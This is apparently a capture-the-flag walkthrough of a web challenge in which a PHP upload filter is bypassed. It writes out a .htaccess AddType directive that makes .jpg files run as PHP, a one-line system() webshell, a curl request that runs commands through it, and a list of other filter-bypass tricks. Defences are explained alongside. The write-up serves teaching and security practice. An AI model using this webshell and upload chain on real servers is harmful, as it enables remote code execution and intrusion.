Description
An identity verification portal accepts file uploads but blocks PHP files. Bypass the restriction to achieve remote code execution and read the flag.
Setup
Open the file upload portal.
Prepare a webshell and a .htaccess configuration file.
Solution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
Step 1Attempt direct PHP upload (blocked)
ObservationThe description says the portal blocks PHP files. The first thing to confirm is what the filter actually checks, so try a plain shell.php upload and read the error to see whether it is extension-based or content-based.Trying to upload shell.php is rejected by the extension filter. The server explicitly blocks .php files.Learn more
Extension-based upload filters are a common but weak defense against malicious file uploads. The server checks the file extension against a blocklist (or allowlist) before saving the file. Blocklist approaches - blocking specific extensions like
.php,.jsp,.asp- are inherently fragile because attackers can often find alternative extensions that the server still executes.This is classified as an unrestricted file upload vulnerability(CWE-434) and appears on OWASP's list of critical web application risks. A secure file upload must validate the file's actual content (MIME type, magic bytes), not just its extension, and must never store uploaded files in a location the web server can execute.
Common bypass techniques include: uploading with alternative extensions (
.php5,.phtml,.phar), double extensions (shell.php.jpg), case variation (shell.PHP), null byte injection (shell.php%00.jpg), and - as used in this challenge - reconfiguring the server itself to execute arbitrary extensions.Step 2Upload a .htaccess to remap .jpg as PHP
ObservationThe filter rejects .php extensions but says nothing about Apache configuration files. So upload a .htaccess with an AddType directive and the server will treat an allowed extension like .jpg as executable PHP.Create a .htaccess file containingAddType application/x-httpd-php .jpg. This Apache directive tells the server to execute .jpg files as PHP. Upload it to the same directory as future uploads.bashecho 'AddType application/x-httpd-php .jpg' > .htaccessWhat didn't work first
Tried: Try uploading shell.php5 or shell.phtml instead of using .htaccess
Alternative PHP extensions like .php5 and .phtml sometimes execute, but only when the server already has AddHandler or AddType entries for them in its main config. On a hardened install those are absent, so the file is served as plain text. The .htaccess approach works whatever the server config, because it injects the handler directive into the upload directory itself.
Tried: Upload the .htaccess file but name it htaccess.txt thinking the dot-prefix is cosmetic
Apache treats a file as a directory configuration override only when the name matches AccessFileName exactly, which is .htaccess by default. A file called htaccess.txt is just text and Apache ignores it. Keep the leading dot and no extension for the directive to take effect.
Learn more
.htaccess files are per-directory configuration files that Apache processes before serving any request from that directory. They allow directory owners to override server-wide settings without touching the main Apache configuration. The
AddTypedirective maps a MIME type to file extensions, telling Apache how to handle files with that extension.AddType application/x-httpd-php .jpginstructs Apache'smod_phphandler to execute any.jpgfile as PHP code. Once this .htaccess is in place, every.jpgfile in that directory is a potential code execution vector - regardless of whether the extension filter would have blocked it as PHP.The key insight is that the application's upload filter only checked the extension of the uploaded file. It did not restrict which configuration files could be uploaded. Servers that allow .htaccess should validate uploaded filenames against a strict allowlist (including hidden files starting with a dot) and ideally store uploads outside the web root entirely.
Step 3Upload a PHP webshell as a .jpg
ObservationWith the .htaccess in place remapping .jpg to PHP, a minimal webshell named shell.jpg passes the extension filter and still gets interpreted as PHP by Apache. That is remote code execution.Create shell.jpg containing a simple PHP command execution payload. Upload it - the .htaccess causes Apache to execute it as PHP despite the .jpg extension.bashecho '<?php echo system($_GET["cmd"]); ?>' > shell.jpgbashcurl 'https://<host>/uploads/shell.jpg?cmd=cat+/var/www/flag.txt'What didn't work first
Tried: Browse directly to shell.jpg after uploading it before uploading .htaccess
Without the .htaccess in place, Apache has no instruction to treat .jpg as PHP, so it serves the file as an image and the browser shows garbled content or offers a download. Upload the .htaccess first, so the directive is live before any request reaches the webshell.
Tried: Use shell.jpg?cmd=cat /flag.txt or cat /flag assuming a common CTF flag path
The flag location varies per instance. Guessing /flag.txt or /flag may return 'No such file or directory', which makes a working webshell look broken. Here the path is /var/www/flag.txt, and running ls / or find / -name 'flag*' first is what confirms it.
Learn more
A webshell is a script uploaded to a web server that allows the attacker to issue operating system commands through HTTP requests. The minimal one-liner
<?php echo system($_GET["cmd"]); ?>reads thecmdURL parameter and passes it to the OS viasystem(), returning the output in the HTTP response. This turns any GET request into a remote command execution interface.After uploading, the attacker browses to the file's URL with a
?cmd=query parameter. Because .htaccess remapped .jpg to PHP, Apache passes the file through the PHP interpreter, which executes the shell command. Common targets includecat /etc/passwd,id,ls /, and - in CTF scenarios - reading a flag file at a known path.Real-world defenses against this chain include: storing uploads outside the document root (unreachable by URL), disabling .htaccess processing with
AllowOverride None, stripping execution permissions from upload directories, and serving user content from a separate origin (subdomain or CDN) that cannot execute server-side code.
Interactive tools
- JWT DecoderDecode JSON Web Tokens and inspect the header, payload, and signature. Useful for web exploitation challenges.
- Flask Session DecoderDecode Flask / itsdangerous session cookies. Splits payload, decompresses zlib, parses JSON, and verifies the HMAC signature when given the secret.
Flag
Reveal flag
picoCTF{s3rv3r_byp4ss_...}
.htaccess files configure Apache per-directory - uploading one that remaps file extensions turns any uploaded file into a potential webshell.